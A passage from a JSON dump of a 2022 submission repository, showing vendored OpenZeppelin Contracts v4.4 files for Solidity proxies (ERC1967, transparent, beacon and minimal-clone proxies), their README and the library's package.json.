super._execute(proposalId, targets, values, calldatas, descriptionHash);\n    }\n\n    function _cancel(\n        address[] memory targets,\n        uint256[] memory values,\n        bytes[] memory calldatas,\n        bytes32 descriptionHash\n    ) internal override(Governor, GovernorTimelockControl) returns (uint256) {\n        return super._cancel(targets, values, calldatas, descriptionHash);\n    }\n\n    function _executor() internal view override(Governor, GovernorTimelockControl) returns (address) {\n        return super._executor();\n    }\n\n    function supportsInterface(bytes4 interfaceId)\n        public\n        view\n        override(Governor, IERC165, GovernorTimelockControl)\n        returns (bool)\n    {\n        return super.supportsInterface(interfaceId);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/package.json",
    "content": "{\n  \"name\": \"@openzeppelin/contracts\",\n  \"description\": \"Secure Smart Contract library for Solidity\",\n  \"version\": \"4.4.2\",\n  \"files\": [\n    \"**/*.sol\",\n    \"/build/contracts/*.json\",\n    \"!/mocks/**/*\"\n  ],\n  \"scripts\": {\n    \"prepare\": \"bash ../scripts/prepare-contracts-package.sh\",\n    \"prepare-docs\": \"cd ..; npm run prepare-docs\"\n  },\n  \"repository\": {\n    \"type\": \"git\",\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts.git\"\n  },\n  \"keywords\": [\n    \"solidity\",\n    \"ethereum\",\n    \"smart\",\n    \"contracts\",\n    \"security\",\n    \"zeppelin\"\n  ],\n  \"author\": \"OpenZeppelin Community <maintainers@openzeppelin.org>\",\n  \"license\": \"MIT\",\n  \"bugs\": {\n    \"url\": \"https://github.com/OpenZeppelin/openzeppelin-contracts/issues\"\n  },\n  \"homepage\": \"https://openzeppelin.com/contracts/\"\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/Clones.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/Clones.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for\n * deploying minimal proxy contracts, also known as \"clones\".\n *\n * > To simply and cheaply clone contract functionality in an immutable way, this standard specifies\n * > a minimal bytecode implementation that delegates all calls to a known, fixed address.\n *\n * The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`\n * (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the\n * deterministic method.\n *\n * _Available since v3.4._\n */\nlibrary Clones {\n    /**\n     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n     *\n     * This function uses the create opcode, which should never revert.\n     */\n    function clone(address implementation) internal returns (address instance) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n            instance := create(0, ptr, 0x37)\n        }\n        require(instance != address(0), \"ERC1167: create failed\");\n    }\n\n    /**\n     * @dev Deploys and returns the address of a clone that mimics the behaviour of `implementation`.\n     *\n     * This function uses the create2 opcode and a `salt` to deterministically deploy\n     * the clone. Using the same `implementation` and `salt` multiple time will revert, since\n     * the clones cannot be deployed twice at the same address.\n     */\n    function cloneDeterministic(address implementation, bytes32 salt) internal returns (address instance) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)\n            instance := create2(0, ptr, 0x37, salt)\n        }\n        require(instance != address(0), \"ERC1167: create2 failed\");\n    }\n\n    /**\n     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n     */\n    function predictDeterministicAddress(\n        address implementation,\n        bytes32 salt,\n        address deployer\n    ) internal pure returns (address predicted) {\n        assembly {\n            let ptr := mload(0x40)\n            mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)\n            mstore(add(ptr, 0x14), shl(0x60, implementation))\n            mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)\n            mstore(add(ptr, 0x38), shl(0x60, deployer))\n            mstore(add(ptr, 0x4c), salt)\n            mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))\n            predicted := keccak256(add(ptr, 0x37), 0x55)\n        }\n    }\n\n    /**\n     * @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.\n     */\n    function predictDeterministicAddress(address implementation, bytes32 salt)\n        internal\n        view\n        returns (address predicted)\n    {\n        return predictDeterministicAddress(implementation, salt, address(this));\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Proxy.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../Proxy.sol\";\nimport \"./ERC1967Upgrade.sol\";\n\n/**\n * @dev This contract implements an upgradeable proxy. It is upgradeable because calls are delegated to an\n * implementation address that can be changed. This address is stored in storage in the location specified by\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967], so that it doesn't conflict with the storage layout of the\n * implementation behind the proxy.\n */\ncontract ERC1967Proxy is Proxy, ERC1967Upgrade {\n    /**\n     * @dev Initializes the upgradeable proxy with an initial implementation specified by `_logic`.\n     *\n     * If `_data` is nonempty, it's used as data in a delegate call to `_logic`. This will typically be an encoded\n     * function call, and allows initializating the storage of the proxy like a Solidity constructor.\n     */\n    constructor(address _logic, bytes memory _data) payable {\n        assert(_IMPLEMENTATION_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.implementation\")) - 1));\n        _upgradeToAndCall(_logic, _data, false);\n    }\n\n    /**\n     * @dev Returns the current implementation address.\n     */\n    function _implementation() internal view virtual override returns (address impl) {\n        return ERC1967Upgrade._getImplementation();\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/ERC1967/ERC1967Upgrade.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/ERC1967/ERC1967Upgrade.sol)\n\npragma solidity ^0.8.2;\n\nimport \"../beacon/IBeacon.sol\";\nimport \"../../utils/Address.sol\";\nimport \"../../utils/StorageSlot.sol\";\n\n/**\n * @dev This abstract contract provides getters and event emitting update functions for\n * https://eips.ethereum.org/EIPS/eip-1967[EIP1967] slots.\n *\n * _Available since v4.1._\n *\n * @custom:oz-upgrades-unsafe-allow delegatecall\n */\nabstract contract ERC1967Upgrade {\n    // This is the keccak-256 hash of \"eip1967.proxy.rollback\" subtracted by 1\n    bytes32 private constant _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;\n\n    /**\n     * @dev Storage slot with the address of the current implementation.\n     * This is the keccak-256 hash of \"eip1967.proxy.implementation\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;\n\n    /**\n     * @dev Emitted when the implementation is upgraded.\n     */\n    event Upgraded(address indexed implementation);\n\n    /**\n     * @dev Returns the current implementation address.\n     */\n    function _getImplementation() internal view returns (address) {\n        return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 implementation slot.\n     */\n    function _setImplementation(address newImplementation) private {\n        require(Address.isContract(newImplementation), \"ERC1967: new implementation is not a contract\");\n        StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation;\n    }\n\n    /**\n     * @dev Perform implementation upgrade\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeTo(address newImplementation) internal {\n        _setImplementation(newImplementation);\n        emit Upgraded(newImplementation);\n    }\n\n    /**\n     * @dev Perform implementation upgrade with additional setup call.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeToAndCall(\n        address newImplementation,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        _upgradeTo(newImplementation);\n        if (data.length > 0 || forceCall) {\n            Address.functionDelegateCall(newImplementation, data);\n        }\n    }\n\n    /**\n     * @dev Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.\n     *\n     * Emits an {Upgraded} event.\n     */\n    function _upgradeToAndCallSecure(\n        address newImplementation,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        address oldImplementation = _getImplementation();\n\n        // Initial upgrade and setup call\n        _setImplementation(newImplementation);\n        if (data.length > 0 || forceCall) {\n            Address.functionDelegateCall(newImplementation, data);\n        }\n\n        // Perform rollback test if not already in progress\n        StorageSlot.BooleanSlot storage rollbackTesting = StorageSlot.getBooleanSlot(_ROLLBACK_SLOT);\n        if (!rollbackTesting.value) {\n            // Trigger rollback using upgradeTo from the new implementation\n            rollbackTesting.value = true;\n            Address.functionDelegateCall(\n                newImplementation,\n                abi.encodeWithSignature(\"upgradeTo(address)\", oldImplementation)\n            );\n            rollbackTesting.value = false;\n            // Check rollback was effective\n            require(oldImplementation == _getImplementation(), \"ERC1967Upgrade: upgrade breaks further upgrades\");\n            // Finally reset to the new implementation and log the upgrade\n            _upgradeTo(newImplementation);\n        }\n    }\n\n    /**\n     * @dev Storage slot with the admin of the contract.\n     * This is the keccak-256 hash of \"eip1967.proxy.admin\" subtracted by 1, and is\n     * validated in the constructor.\n     */\n    bytes32 internal constant _ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;\n\n    /**\n     * @dev Emitted when the admin account has changed.\n     */\n    event AdminChanged(address previousAdmin, address newAdmin);\n\n    /**\n     * @dev Returns the current admin.\n     */\n    function _getAdmin() internal view returns (address) {\n        return StorageSlot.getAddressSlot(_ADMIN_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new address in the EIP1967 admin slot.\n     */\n    function _setAdmin(address newAdmin) private {\n        require(newAdmin != address(0), \"ERC1967: new admin is the zero address\");\n        StorageSlot.getAddressSlot(_ADMIN_SLOT).value = newAdmin;\n    }\n\n    /**\n     * @dev Changes the admin of the proxy.\n     *\n     * Emits an {AdminChanged} event.\n     */\n    function _changeAdmin(address newAdmin) internal {\n        emit AdminChanged(_getAdmin(), newAdmin);\n        _setAdmin(newAdmin);\n    }\n\n    /**\n     * @dev The storage slot of the UpgradeableBeacon contract which defines the implementation for this proxy.\n     * This is bytes32(uint256(keccak256('eip1967.proxy.beacon')) - 1)) and is validated in the constructor.\n     */\n    bytes32 internal constant _BEACON_SLOT = 0xa3f0ad74e5423aebfd80d3ef4346578335a9a72aeaee59ff6cb3582b35133d50;\n\n    /**\n     * @dev Emitted when the beacon is upgraded.\n     */\n    event BeaconUpgraded(address indexed beacon);\n\n    /**\n     * @dev Returns the current beacon.\n     */\n    function _getBeacon() internal view returns (address) {\n        return StorageSlot.getAddressSlot(_BEACON_SLOT).value;\n    }\n\n    /**\n     * @dev Stores a new beacon in the EIP1967 beacon slot.\n     */\n    function _setBeacon(address newBeacon) private {\n        require(Address.isContract(newBeacon), \"ERC1967: new beacon is not a contract\");\n        require(\n            Address.isContract(IBeacon(newBeacon).implementation()),\n            \"ERC1967: beacon implementation is not a contract\"\n        );\n        StorageSlot.getAddressSlot(_BEACON_SLOT).value = newBeacon;\n    }\n\n    /**\n     * @dev Perform beacon upgrade with additional setup call. Note: This upgrades the address of the beacon, it does\n     * not upgrade the implementation contained in the beacon (see {UpgradeableBeacon-_setImplementation} for that).\n     *\n     * Emits a {BeaconUpgraded} event.\n     */\n    function _upgradeBeaconToAndCall(\n        address newBeacon,\n        bytes memory data,\n        bool forceCall\n    ) internal {\n        _setBeacon(newBeacon);\n        emit BeaconUpgraded(newBeacon);\n        if (data.length > 0 || forceCall) {\n            Address.functionDelegateCall(IBeacon(newBeacon).implementation(), data);\n        }\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/Proxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/Proxy.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This abstract contract provides a fallback function that delegates all calls to another contract using the EVM\n * instruction `delegatecall`. We refer to the second contract as the _implementation_ behind the proxy, and it has to\n * be specified by overriding the virtual {_implementation} function.\n *\n * Additionally, delegation to the implementation can be triggered manually through the {_fallback} function, or to a\n * different contract through the {_delegate} function.\n *\n * The success and return data of the delegated call will be returned back to the caller of the proxy.\n */\nabstract contract Proxy {\n    /**\n     * @dev Delegates the current call to `implementation`.\n     *\n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _delegate(address implementation) internal virtual {\n        assembly {\n            // Copy msg.data. We take full control of memory in this inline assembly\n            // block because it will not return to Solidity code. We overwrite the\n            // Solidity scratch pad at memory position 0.\n            calldatacopy(0, 0, calldatasize())\n\n            // Call the implementation.\n            // out and outsize are 0 because we don't know the size yet.\n            let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)\n\n            // Copy the returned data.\n            returndatacopy(0, 0, returndatasize())\n\n            switch result\n            // delegatecall returns 0 on error.\n            case 0 {\n                revert(0, returndatasize())\n            }\n            default {\n                return(0, returndatasize())\n            }\n        }\n    }\n\n    /**\n     * @dev This is a virtual function that should be overriden so it returns the address to which the fallback function\n     * and {_fallback} should delegate.\n     */\n    function _implementation() internal view virtual returns (address);\n\n    /**\n     * @dev Delegates the current call to the address returned by `_implementation()`.\n     *\n     * This function does not return to its internall call site, it will return directly to the external caller.\n     */\n    function _fallback() internal virtual {\n        _beforeFallback();\n        _delegate(_implementation());\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if no other\n     * function in the contract matches the call data.\n     */\n    fallback() external payable virtual {\n        _fallback();\n    }\n\n    /**\n     * @dev Fallback function that delegates calls to the address returned by `_implementation()`. Will run if call data\n     * is empty.\n     */\n    receive() external payable virtual {\n        _fallback();\n    }\n\n    /**\n     * @dev Hook that is called before falling back to the implementation. Can happen as part of a manual `_fallback`\n     * call, or as part of the Solidity `fallback` or `receive` functions.\n     *\n     * If overriden should call `super._beforeFallback()`.\n     */\n    function _beforeFallback() internal virtual {}\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/README.adoc",
    "content": "= Proxies\n\n[.readme-notice]\nNOTE: This document is better viewed at https://docs.openzeppelin.com/contracts/api/proxy\n\nThis is a low-level set of contracts implementing different proxy patterns with and without upgradeability. For an in-depth overview of this pattern check out the xref:upgrades-plugins::proxies.adoc[Proxy Upgrade Pattern] page.\n\nMost of the proxies below are built on an abstract base contract.\n\n- {Proxy}: Abstract contract implementing the core delegation functionality.\n\nIn order to avoid clashes with the storage variables of the implementation contract behind a proxy, we use https://eips.ethereum.org/EIPS/eip-1967[EIP1967] storage slots.\n\n- {ERC1967Upgrade}: Internal functions to get and set the storage slots defined in EIP1967.\n- {ERC1967Proxy}: A proxy using EIP1967 storage slots. Not upgradeable by default.\n\nThere are two alternative ways to add upgradeability to an ERC1967 proxy. Their differences are explained below in <<transparent-vs-uups>>.\n\n- {TransparentUpgradeableProxy}: A proxy with a built in admin and upgrade interface.\n- {UUPSUpgradeable}: An upgradeability mechanism to be included in the implementation for an ERC1967 proxy.\n\nCAUTION: Using upgradeable proxies correctly and securely is a difficult task that requires deep knowledge of the proxy pattern, Solidity, and the EVM. Unless you want a lot of low level control, we recommend using the xref:upgrades-plugins::index.adoc[OpenZeppelin Upgrades Plugins] for Truffle and Hardhat.\n\nA different family of proxies are beacon proxies. This pattern, popularized by Dharma, allows multiple proxies to be upgraded to a different implementation in a single transaction.\n\n- {BeaconProxy}: A proxy that retreives its implementation from a beacon contract.\n- {UpgradeableBeacon}: A beacon contract that can be upgraded.\n\nIn this pattern, the proxy contract doesn't hold the implementation address in storage like an ERC1967 proxy, instead the address is stored in a separate beacon contract. The `upgrade` operations that are sent to the beacon instead of to the proxy contract, and all proxies that follow that beacon are automatically upgraded.\n\nOutside the realm of upgradeability, proxies can also be useful to make cheap contract clones, such as those created by an on-chain factory contract that creates many instances of the same contract. These instances are designed to be both cheap to deploy, and cheap to call.\n\n- {Clones}: A library that can deploy cheap minimal non-upgradeable proxies.\n\n[[transparent-vs-uups]]\n== Transparent vs UUPS Proxies\n\nThe original proxies included in OpenZeppelin followed the https://blog.openzeppelin.com/the-transparent-proxy-pattern/[Transparent Proxy Pattern]. While this pattern is still provided, our recommendation is now shifting towards UUPS proxies, which are both lightweight and versatile. The name UUPS comes from https://eips.ethereum.org/EIPS/eip-1822[EIP1822], which first documented the pattern.\n\nWhile both of these share the same interface for upgrades, in UUPS proxies the upgrade is handled by the implementation, and can eventually be removed. Transparent proxies, on the other hand, include the upgrade and admin logic in the proxy itself. This means {TransparentUpgradeableProxy} is more expensive to deploy than what is possible with UUPS proxies.\n\nUUPS proxies are implemented using an {ERC1967Proxy}. Note that this proxy is not by itself upgradeable. It is the role of the implementation to include, alongside the contract's logic, all the code necessary to update the implementation's address that is stored at a specific slot in the proxy's storage space. This is where the {UUPSUpgradeable} contract comes in. Inheriting from it (and overriding the {xref-UUPSUpgradeable-_authorizeUpgrade-address-}[`_authorizeUpgrade`] function with the relevant access control mechanism) will turn your contract into a UUPS compliant implementation.\n\nNote that since both proxies use the same storage slot for the implementation address, using a UUPS compliant implementation with a {TransparentUpgradeableProxy} might allow non-admins to perform upgrade operations.\n\nBy default, the upgrade functionality included in {UUPSUpgradeable} contains a security mechanism that will prevent any upgrades to a non UUPS compliant implementation. This prevents upgrades to an implementation contract that wouldn't contain the necessary upgrade mechanism, as it would lock the upgradeability of the proxy forever. This security mechanism can be bypassed by either of:\n\n- Adding a flag mechanism in the implementation that will disable the upgrade function when triggered.\n- Upgrading to an implementation that features an upgrade mechanism without the additional security check, and then upgrading again to another implementation without the upgrade mechanism.\n\n== Core\n\n{{Proxy}}\n\n== ERC1967\n\n{{ERC1967Proxy}}\n\n{{ERC1967Upgrade}}\n\n== Transparent Proxy\n\n{{TransparentUpgradeableProxy}}\n\n{{ProxyAdmin}}\n\n== Beacon\n\n{{BeaconProxy}}\n\n{{IBeacon}}\n\n{{UpgradeableBeacon}}\n\n== Minimal Clones\n\n{{Clones}}\n\n== Utils\n\n{{Initializable}}\n\n{{UUPSUpgradeable}}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/BeaconProxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/BeaconProxy.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IBeacon.sol\";\nimport \"../Proxy.sol\";\nimport \"../ERC1967/ERC1967Upgrade.sol\";\n\n/**\n * @dev This contract implements a proxy that gets the implementation address for each call from a {UpgradeableBeacon}.\n *\n * The beacon address is stored in storage slot `uint256(keccak256('eip1967.proxy.beacon')) - 1`, so that it doesn't\n * conflict with the storage layout of the implementation behind the proxy.\n *\n * _Available since v3.4._\n */\ncontract BeaconProxy is Proxy, ERC1967Upgrade {\n    /**\n     * @dev Initializes the proxy with `beacon`.\n     *\n     * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon. This\n     * will typically be an encoded function call, and allows initializating the storage of the proxy like a Solidity\n     * constructor.\n     *\n     * Requirements:\n     *\n     * - `beacon` must be a contract with the interface {IBeacon}.\n     */\n    constructor(address beacon, bytes memory data) payable {\n        assert(_BEACON_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.beacon\")) - 1));\n        _upgradeBeaconToAndCall(beacon, data, false);\n    }\n\n    /**\n     * @dev Returns the current beacon address.\n     */\n    function _beacon() internal view virtual returns (address) {\n        return _getBeacon();\n    }\n\n    /**\n     * @dev Returns the current implementation address of the associated beacon.\n     */\n    function _implementation() internal view virtual override returns (address) {\n        return IBeacon(_getBeacon()).implementation();\n    }\n\n    /**\n     * @dev Changes the proxy to use a new beacon. Deprecated: see {_upgradeBeaconToAndCall}.\n     *\n     * If `data` is nonempty, it's used as data in a delegate call to the implementation returned by the beacon.\n     *\n     * Requirements:\n     *\n     * - `beacon` must be a contract.\n     * - The implementation returned by `beacon` must be a contract.\n     */\n    function _setBeacon(address beacon, bytes memory data) internal virtual {\n        _upgradeBeaconToAndCall(beacon, data, false);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/IBeacon.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/IBeacon.sol)\n\npragma solidity ^0.8.0;\n\n/**\n * @dev This is the interface that {BeaconProxy} expects of its beacon.\n */\ninterface IBeacon {\n    /**\n     * @dev Must return an address that can be used as a delegate call target.\n     *\n     * {BeaconProxy} will check that this address is a contract.\n     */\n    function implementation() external view returns (address);\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/beacon/UpgradeableBeacon.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/beacon/UpgradeableBeacon.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./IBeacon.sol\";\nimport \"../../access/Ownable.sol\";\nimport \"../../utils/Address.sol\";\n\n/**\n * @dev This contract is used in conjunction with one or more instances of {BeaconProxy} to determine their\n * implementation contract, which is where they will delegate all function calls.\n *\n * An owner is able to change the implementation the beacon points to, thus upgrading the proxies that use this beacon.\n */\ncontract UpgradeableBeacon is IBeacon, Ownable {\n    address private _implementation;\n\n    /**\n     * @dev Emitted when the implementation returned by the beacon is changed.\n     */\n    event Upgraded(address indexed implementation);\n\n    /**\n     * @dev Sets the address of the initial implementation, and the deployer account as the owner who can upgrade the\n     * beacon.\n     */\n    constructor(address implementation_) {\n        _setImplementation(implementation_);\n    }\n\n    /**\n     * @dev Returns the current implementation address.\n     */\n    function implementation() public view virtual override returns (address) {\n        return _implementation;\n    }\n\n    /**\n     * @dev Upgrades the beacon to a new implementation.\n     *\n     * Emits an {Upgraded} event.\n     *\n     * Requirements:\n     *\n     * - msg.sender must be the owner of the contract.\n     * - `newImplementation` must be a contract.\n     */\n    function upgradeTo(address newImplementation) public virtual onlyOwner {\n        _setImplementation(newImplementation);\n        emit Upgraded(newImplementation);\n    }\n\n    /**\n     * @dev Sets the implementation contract address for this beacon\n     *\n     * Requirements:\n     *\n     * - `newImplementation` must be a contract.\n     */\n    function _setImplementation(address newImplementation) private {\n        require(Address.isContract(newImplementation), \"UpgradeableBeacon: implementation is not a contract\");\n        _implementation = newImplementation;\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/transparent/ProxyAdmin.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/transparent/ProxyAdmin.sol)\n\npragma solidity ^0.8.0;\n\nimport \"./TransparentUpgradeableProxy.sol\";\nimport \"../../access/Ownable.sol\";\n\n/**\n * @dev This is an auxiliary contract meant to be assigned as the admin of a {TransparentUpgradeableProxy}. For an\n * explanation of why you would want to use this see the documentation for {TransparentUpgradeableProxy}.\n */\ncontract ProxyAdmin is Ownable {\n    /**\n     * @dev Returns the current implementation of `proxy`.\n     *\n     * Requirements:\n     *\n     * - This contract must be the admin of `proxy`.\n     */\n    function getProxyImplementation(TransparentUpgradeableProxy proxy) public view virtual returns (address) {\n        // We need to manually run the static call since the getter cannot be flagged as view\n        // bytes4(keccak256(\"implementation()\")) == 0x5c60da1b\n        (bool success, bytes memory returndata) = address(proxy).staticcall(hex\"5c60da1b\");\n        require(success);\n        return abi.decode(returndata, (address));\n    }\n\n    /**\n     * @dev Returns the current admin of `proxy`.\n     *\n     * Requirements:\n     *\n     * - This contract must be the admin of `proxy`.\n     */\n    function getProxyAdmin(TransparentUpgradeableProxy proxy) public view virtual returns (address) {\n        // We need to manually run the static call since the getter cannot be flagged as view\n        // bytes4(keccak256(\"admin()\")) == 0xf851a440\n        (bool success, bytes memory returndata) = address(proxy).staticcall(hex\"f851a440\");\n        require(success);\n        return abi.decode(returndata, (address));\n    }\n\n    /**\n     * @dev Changes the admin of `proxy` to `newAdmin`.\n     *\n     * Requirements:\n     *\n     * - This contract must be the current admin of `proxy`.\n     */\n    function changeProxyAdmin(TransparentUpgradeableProxy proxy, address newAdmin) public virtual onlyOwner {\n        proxy.changeAdmin(newAdmin);\n    }\n\n    /**\n     * @dev Upgrades `proxy` to `implementation`. See {TransparentUpgradeableProxy-upgradeTo}.\n     *\n     * Requirements:\n     *\n     * - This contract must be the admin of `proxy`.\n     */\n    function upgrade(TransparentUpgradeableProxy proxy, address implementation) public virtual onlyOwner {\n        proxy.upgradeTo(implementation);\n    }\n\n    /**\n     * @dev Upgrades `proxy` to `implementation` and calls a function on the new implementation. See\n     * {TransparentUpgradeableProxy-upgradeToAndCall}.\n     *\n     * Requirements:\n     *\n     * - This contract must be the admin of `proxy`.\n     */\n    function upgradeAndCall(\n        TransparentUpgradeableProxy proxy,\n        address implementation,\n        bytes memory data\n    ) public payable virtual onlyOwner {\n        proxy.upgradeToAndCall{value: msg.value}(implementation, data);\n    }\n}\n"
  },
  {
    "path": "2022/submissions_2022/submission11_DanielVonFange/lib/openzeppelin-contracts/contracts/proxy/transparent/TransparentUpgradeableProxy.sol",
    "content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (proxy/transparent/TransparentUpgradeableProxy.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../ERC1967/ERC1967Proxy.sol\";\n\n/**\n * @dev This contract implements a proxy that is upgradeable by an admin.\n *\n * To avoid https://medium.com/nomic-labs-blog/malicious-backdoors-in-ethereum-proxies-62629adf3357[proxy selector\n * clashing], which can potentially be used in an attack, this contract uses the\n * https://blog.openzeppelin.com/the-transparent-proxy-pattern/[transparent proxy pattern]. This pattern implies two\n * things that go hand in hand:\n *\n * 1. If any account other than the admin calls the proxy, the call will be forwarded to the implementation, even if\n * that call matches one of the admin functions exposed by the proxy itself.\n * 2. If the admin calls the proxy, it can access the admin functions, but its calls will never be forwarded to the\n * implementation. If the admin tries to call a function on the implementation it will fail with an error that says\n * \"admin cannot fallback to proxy target\".\n *\n * These properties mean that the admin account can only be used for admin actions like upgrading the proxy or changing\n * the admin, so it's best if it's a dedicated account that is not used for anything else. This will avoid headaches due\n * to sudden errors when trying to call a function from the proxy implementation.\n *\n * Our recommendation is for the dedicated account to be an instance of the {ProxyAdmin} contract. If set up this way,\n * you should think of the `ProxyAdmin` instance as the real administrative interface of your proxy.\n */\ncontract TransparentUpgradeableProxy is ERC1967Proxy {\n    /**\n     * @dev Initializes an upgradeable proxy managed by `_admin`, backed by the implementation at `_logic`, and\n     * optionally initialized with `_data` as explained in {ERC1967Proxy-constructor}.\n     */\n    constructor(\n        address _logic,\n        address admin_,\n        bytes memory _data\n    ) payable ERC1967Proxy(_logic, _data) {\n        assert(_ADMIN_SLOT == bytes32(uint256(keccak256(\"eip1967.proxy.admin\")) - 1));\n        _changeAdmin(admin_);\n    }\n\n    /**\n     * @dev Modifier used internally that will delegate the call to the implementation unless the sender is the admin.\n     */\n    modifier ifAdmin() {\n        if (msg.sender == _getAdmin()) {\n            _;\n        } else {\n            _fallback();\n        }\n    }\n\n    /**\n     * @dev Returns the current admin.\n     *\n     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyAdmin}.\n     *\n     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n     * `0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103`\n     */\n    function admin() external ifAdmin returns (address admin_) {\n        admin_ = _getAdmin();\n    }\n\n    /**\n     * @dev Returns the current implementation.\n     *\n     * NOTE: Only the admin can call this function. See {ProxyAdmin-getProxyImplementation}.\n     *\n     * TIP: To get this value clients can read directly from the storage slot shown below (specified by EIP1967) using the\n     * https://eth.wiki/json-rpc/API#eth_getstorageat[`eth_getStorageAt`] RPC call.\n     * `0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc`\n     */\n    function implementation() external ifAdmin returns (address implementation_) {\n        implementation_ = _implementation();\n    }\n\n    /**\n     * @dev Changes the admin of the proxy.\n     *\n     * Emits an {AdminChanged} event.\n     *\n     * NOTE: Only the admin can call this function. See {ProxyAdmin-changeProxyAdmin}.\n     */\n    function changeAdmin(address newAdmin) external virtual ifAdmin {\n        _changeAdmin(newAdmin);\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy.\n     *\n     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgrade}.\n     */\n    function upgradeTo(address newImplementation) external ifAdmin {\n        _upgradeToAndCall(newImplementation, bytes(\"\"), false);\n    }\n\n    /**\n     * @dev Upgrade the implementation of the proxy, and then call a function from the new implementation as specified\n     * by `data`, which should be an encoded function call. This is useful to initialize new storage variables in the\n     * proxied contract.\n     *\n     * NOTE: Only the admin can call this function. See {ProxyAdmin-upgradeAndCall}.\n     */\n    function upgradeToAndCall(address newImplementation, bytes calldata data) external payable ifAdmin {\n        